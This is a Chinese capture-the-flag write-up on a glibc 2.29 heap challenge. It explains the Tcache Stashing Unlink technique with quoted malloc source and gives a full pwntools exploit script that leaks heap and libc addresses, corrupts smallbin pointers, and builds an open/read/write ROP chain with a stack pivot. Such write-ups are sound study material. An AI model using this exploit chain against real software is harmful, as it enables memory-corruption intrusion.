IDA分析
seccomp只允许orw
程序没有开启canary,末尾有一个大小为0x10的溢出,可以构造栈迁移,栈迁移可以直接orw, 但是需要条件。
需要满足这里的backdoor chunk中的部分内容值大小要求。这里的backdoor chunk是程序一开始申请的chunk,我们不能正常写入,看到这里其实可以想到unsortedbin attack。但是程序是glibc2.29,没有unsorted bin attack
允许构造的chunk只能是0x10,0xf0,0x300,0x400
这道题需要一种新的操作:Tcache Stashing
参考文章
https://www.anquanke.com/post/id/198173?display=mobile
这里也简要写一下自己对Tcache stashing的理解。
Tcache stashing本质上完成的事情和unsortedbin attack部分相似。2.29下unsortedbin attack检验了双向链表完整性,不能再使用了。但是Tcache stashing中有这样一部分代码
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
// 在当前tcache没有满,smallbin不空的时候,把相同大小的chunk相继取出。注意:这里没有双向链表完整性检查
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
这道题利用的就是放入tcache的时候没有检查完整性的漏洞。但是要完成这个漏洞的条件也很苛刻。需要满足取出堆块的时候相应大小的tcache不能为空(为了写入bk数据)并且smallbin也不能为空,而且取出chunk的时候还必须从smallbin中取出。这就很矛盾。一般解决的方法有三种
- 修改tcache中块个数,修改为0个即可
- 碰到一些特殊函数如calloc,不从tcache中取值
- 上面博客里的一句话,没看明白
注意tcache中最好有6个chunk,因为不足六个就会继续取出,这样取出来的第三个chunk是不合法的,肯定会报错。因此最好在攻击前就把tcache塞成6个,这样取出最后一个chunk的时候就不会检查前一个chunk是否合法了。
政事令用上述攻击方法以及UAF,可以写入smallbin中对应的bk,完成攻击。
这里注意一个关键点,我调试的时候整个人都不好了,就是calloc竟然会在chunk大小小于smallbin的情况下直接从smallbin中取出块分割,将剩下的再放到unsortedbin中,调试了一个多小时啊
exp
from pwn import *
# io = process('./RedPacket_SoEasyPwn1')
io=remote('node4.buuoj.cn',28060)
elf=ELF('./RedPacket_SoEasyPwn1')
libc=ELF('./libc-2.29.so')
context.log_level='debug'
context.arch="amd64"
def add(index,type,content):
io.recvuntil('Your input:')
io.sendline(str(1))
io.recvuntil('idx:')
io.sendline(str(index))
io.recvuntil('400):')
io.sendline(str(type))
io.recvuntil('content:')
io.sendline(content)
io.recvline()
def delete(index):
io.recvuntil('Your input:')
io.sendline(str(2))
io.recvuntil('idx:')
io.sendline(str(index))
io.recvline()
def edit(index,content):
io.recvuntil('Your input:')
io.sendline(str(3))
io.recvuntil('idx:')
io.sendline(str(index))
io.recvuntil('content:')
io.sendline(content)
io.recvline()
def show(index):
io.recvuntil('Your input:')
io.sendline(str(4))
io.recvuntil('idx:')
io.sendline(str(index))
# type 1.0x10 2.0xf0 3.0x300 4.0x400
# get libc_addr
add(0,4,'aaaa')
add(1,4,'aaaa')
add(2,4,'aaaa')
add(3,4,'aaaa')
add(4,4,'aaaa')
add(5,4,'aaaa')
add(6,4,'aaaa')
add(7,4,'aaaa')
add(8,1,'prot')#prot
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
def debug():
gdb.attach(io,"brva 0x1515")
add(0,1,'aaaa')
show(6)
heap_info = (u64(io.recvuntil('\x0a')[:-1].ljust(8,'\x00'))-0x20)>>8
print "heap_info----->" + hex(heap_info)
heap_base=heap_info-0x0026c0
show(7)
io.recvuntil('\x20')
info = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
print "heap_base----->" + hex(heap_base)
libc_addr = info - 0x1e4ca0
print "libc_addr----->" + hex(libc_addr)
add(0,4,'cnmd')
malloc_hook = libc_addr+libc.sym['__malloc_hook']
free_hook = libc_addr+libc.sym['__free_hook']
clear_addr=libc_addr&0xffffffffffff0000
print "clear_addr----->" + hex(clear_addr)
add(0,2,'aaaa')
add(1,2,'dddd')
add(2,2,'aaaa')
add(3,2,'dddd')
add(4,2,'aaaa')
add(5,2,'dddd')
add(6,1,'prot')
# debug()
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)# why? there must be 6 chunks in the tcache list
add(3,3,'aaaa')#put into tcache
# put two bins into smallbin #3---->#5
add(0,4,"chunk0")
add(1,1,"chunk1")
delete(0)
add(2,3,"chunk2")#cause
add(3,3,"chunk3")#put
add(4,4,"chunk4")
add(5,4,"chunk5")#calloc will cut chunk from small bin!!!!
delete(4)
add(6,3,"chunk6")
add(7,3,"flag.txt")
# debug()
payload='a'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x3f40)+p64(heap_base+0x250+0x10+0x800-0x10)
# edit(2,p64(0)+p64(heap_base+0x250+0x10+0x800-0x10))# fake chunk5's bk
edit(4,payload)
# debug()
add(6,2,'aaaa')
# debug()
read=libc.sym['read']+libc_addr
open_func=libc.sym['open']+libc_addr
write=libc.sym['write']+libc_addr
# print "read----->" + hex(read)
# debug()
pop_rdi_ret=0x0000000000026542+libc_addr
pop_rsi=0x0000000000026f9e+libc_addr
pop_rdx=0x000000000012bda6+libc_addr
orw=p64(pop_rdi_ret)+p64(heap_base+0x004ba0)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)
orw+=p64(open_func)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi)+p64(heap_base+0x260)+p64(pop_rdx)+p64(0x100)
orw+=p64(read)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi)+p64(heap_base+0x260)+p64(pop_rdx)+p64(0x100)
orw+=p64(write)
add(0,4,orw)# heap_base+0x004ea0
# debug()
io.sendline(str(666))
# 0x80 rbp
payload='a'*0x80+p64(heap_base+0x004ea0+8)+p64(0x0000000000058373+libc_addr)
io.recvuntil('What do you want to say?')
# gdb.attach(io,"brva 0x144E")
io.send(payload)
io.interactive()
总结
这道题学到了calloc的神(wu)奇(yu)操作,以及2.29下替代unsortedbin attack的新思路。还有就是glibc下的orw函数,以前还不知道有这回事。